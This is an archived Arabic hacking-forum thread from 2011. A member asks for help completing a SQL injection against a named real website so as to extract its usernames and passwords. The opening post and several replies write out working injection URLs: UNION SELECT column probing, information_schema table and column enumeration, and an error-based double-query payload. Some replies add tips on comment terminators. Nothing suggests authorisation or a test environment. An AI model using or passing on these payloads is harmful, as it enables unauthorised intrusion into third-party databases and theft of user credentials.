:: vBspiders Professional Network ::
صفحة 1 من 2 1 2
عرض 40 مشاركات من هذا الموضوع لكل صفحة

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/f343.html)
-   -   مشكل في حقن موقع .. ممكن مساعدة (http://www.vbspiders.com/vb/t50770.html)

XAyoub 07-04-2011 11:00 PM
مشكل في حقن موقع .. ممكن مساعدة
 
السلام عليكم اخوانــي ،المرججو أنكم تساعدوني في مشكلي هو بسيط جدا
1. اخترت هذا الموقع : http://www.dracoders.com/games.php?id=7
2. فحصته اتضح أنه مصاب
3. اتضح أن فيه 5 أعمدة
4. عملت هذا http://www.dracoders.com/games.php?id=-7 UNION SELECT 1,2,3,4,5
و اتضح أن الاعمدة المصابة : 3,4,5
5. وجدت ان اصدار القاعدة 5
6. ثم عملت هذا الرابط :
http://www.dracoders.com/games.php?id=-7%20UNION%20SELECT%201,2,group_concat%28table_name %29,4,5+from+information_schema.tables+where+table _schema=database%28%29
خرجلي كل هذا و لم أعرف أي واحد فيهم
شكيت في FKP
7. ثم عملت هذا الرابط
http://www.dracoders.com/games.php?id=-7%20UNION%20SELECT%201,2,group_concat%28column_nam e%29,4,5+from+information_schema.columns+where+tab le_schema=database%28%29
فلم أعرف الـ Username + Password
في الكلمات الاتية ،

يعني عندمــــا انتقل للخطوة الاخير لكي يخرج لي الباس ، يعطيني خطأ
ممكن مساعدة
:yes::yes:

bleu moon 07-04-2011 11:03 PM
http://www.vbspiders.com/vb/t20088.html

كل مرة بدك تحقن استعن بهذا الموضوع

XAyoub 07-04-2011 11:07 PM
أوكي جاري اخ نور الديــــــن ،

abdellatef 07-04-2011 11:09 PM
ساعيد الحقن وارجع لك الاستغلال الاخير موضوعك بسيط كبرته اكتب فقط صعب علي حقن هدا فقط

k4$p3r-MA 07-04-2011 11:15 PM
على فكرة الشرطتين في الاخير احدفهما
و ابدا على بركة الله
http://www.dracoders.com/games.php?i...LECT+1,2,3,4,5
و استنتح ان هده الشرطتين ليستا دائما ملزمتين
و يمكن استبدالهما ب /* لكون بعض المواقع لا تنفع معها ال --
:love:

aircrack -ng 07-04-2011 11:19 PM
هذا النوع كيري مش سكيول

كود:
http://www.dracoders.com/games.php?id=7 and(select 1 from(select count(*),concat((select (select
concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1
قربت دورتي تفتح وراح تفهم كل شيء بالحقن
يومين بس

bleu moon 07-04-2011 11:20 PM
اقتباس:
المشاركة الأصلية كتبت بواسطة عبد الصمد (المشاركة 349081)
هذا النوع كيري مش سكيول

كود:
http://www.dracoders.com/games.php?id=7 and(select 1 from(select count(*),concat((select (select
concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1
قربت دورتي تفتح وراح تفهم كل شيء بالحقن
يومين بس
انا اول ماحد رح يتفرج فيها :yipi:

aircrack -ng 07-04-2011 11:23 PM
اقتباس:
المشاركة الأصلية كتبت بواسطة nor15din (المشاركة 349083)
انا اول ماحد رح يتفرج فيها :yipi:
انا قلتلك انا مرشح وزير من هلا :rofl:

ChucK NoRRis 07-04-2011 11:25 PM
اقتباس:
المشاركة الأصلية كتبت بواسطة عبد الصمد (المشاركة 349081)
قربت دورتي تفتح وراح تفهم كل شيء بالحقن
يومين بس
محجـــــــــــــوز

http://www.vbspiders.com/vb/images/Smileys/yipi.gif

k4$p3r-MA 07-04-2011 11:27 PM
اقتباس:
المشاركة الأصلية كتبت بواسطة عبد الصمد (المشاركة 349081)
هذا النوع كيري مش سكيول

كود:
http://www.dracoders.com/games.php?id=7 and(select 1 from(select count(*),concat((select (select
concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1
قربت دورتي تفتح وراح تفهم كل شيء بالحقن
يومين بس
مستنينك خيو :love:

aircrack -ng 07-04-2011 11:28 PM
اقتباس:
المشاركة الأصلية كتبت بواسطة ChucK NoRRis (المشاركة 349087)
محجـــــــــــــوز

:yipi:
الدورة راح تكون مفتوحة للجميع
دعواتكم بس

sh-jaf 07-04-2011 11:34 PM
أخي ممكن أشترك فيها مع العلم إني جديد و مشاركاتي بعدها قليلة الله يرضى عنك أخي غبد الصمد
بتمنى تقولولي ممكن
و بالنسبة للموقع كأنو ما في عامود pass جربت هذه طلع ال column
http://www.dracoders.com/games.php?i...schema.columns

XAyoub 07-04-2011 11:46 PM
أوكي أخي ،

aircrack -ng 07-04-2011 11:47 PM
اقتباس:
المشاركة الأصلية كتبت بواسطة sh-jaf (المشاركة 349093)
أخي ممكن أشترك فيها مع العلم إني جديد و مشاركاتي بعدها قليلة الله يرضى عنك أخي غبد الصمد
بتمنى تقولولي ممكن
و بالنسبة للموقع كأنو ما في عامود pass جربت هذه طلع ال column
http://www.dracoders.com/games.php?id=-7+UNION+SELECT+1,2,concat(table_name,0x3e,column_n ame,0x3e,table_schema),4,5+from+information_schema .columns
الدورة مفتوحة للجميع دون استثناء
مفتوحة لكل طالب علم

ChucK NoRRis 07-04-2011 11:49 PM
اقتباس:
المشاركة الأصلية كتبت بواسطة عبد الصمد (المشاركة 349089)
الدورة راح تكون مفتوحة للجميع
دعواتكم بس
الله يوفقك وان شاء الله تكون دورة ممتازة
يستفاد منها الجميع


الساعة الآن 07:02 PM
صفحة 1 من 2 1 2
عرض 40 مشاركات من هذا الموضوع لكل صفحة


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0